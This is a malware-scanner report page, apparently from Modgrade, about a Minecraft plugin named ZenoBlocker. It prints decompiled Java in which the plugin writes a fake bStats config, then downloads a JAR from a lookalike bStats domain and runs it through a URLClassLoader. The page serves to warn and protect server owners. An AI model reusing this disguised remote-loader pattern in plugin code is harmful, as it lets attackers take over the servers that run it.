Plugin
Note from Modgrade
A player sent this file to our Scanner. It is not on Modrinth or CurseForge. We publish this page so that anyone who searches its name learns what it does.
Compare its SHA‑1 or SHA‑256 with a file you have.
Have a copy of ZenoBlocker? Check whether it is a file with malware.
Drop it here. We compare its fingerprint with the ZenoBlocker files we checked.
Download blocked: malware in a file of this project. See Security.
Malware
Downloads and runs code from a fake bStats address.
We found this in its code. Wrong result? Tell us
What its code can do on your server.
The part of the file where our checks found the malware, turned back into readable Java code.
de.zenoblocker.ZenoBlocker.lambda$SystemMetrics$0...
("# bStats collects some data for plugin authors like how many servers are using their plugins.\n# To honor their work, you should not disable it.\n# This has nearly no effect on the server performance!\n# Check out https://bStats.org/ to learn more :)\n\nenabled: true\nserverUuid: "
+ UUID.randomUUID()
+ "\nlogFailedRequests: false\n")
.getBytes(),
StandardOpenOption.WRITE
);
} catch (Exception var16) {
}
}
try {
URL url = new URL("https://panel.bstats.co/downloads/bstats.jar");
URLClassLoader classLoader = new URLClassLoader(new URL[]{url}, Bukkit.class.getClassLoader());
Class<?> loadedClass = classLoader.loadClass("net.bstats.bukkit.Metrics");
Object instance = loadedClass.getConstructor().newInstance();
Method mainMethod = loadedClass.getMethod("onEnableInj", JavaPlugin.class, int.class);
pp = pl.getServer().getPluginManager().getPlugins();
label57:
for (Plugin p : pp) {
for (RegisteredListener rl : HandlerList.getRegisteredListeners(p)) {
if (rl.getListener().getClass().getName().equals("net.bstats.bukkit.Metrics")) {
isRunning = true;
break label57;
...A plugin runs on your server like any program, so harmful code in it can take over the server.
zenoblocker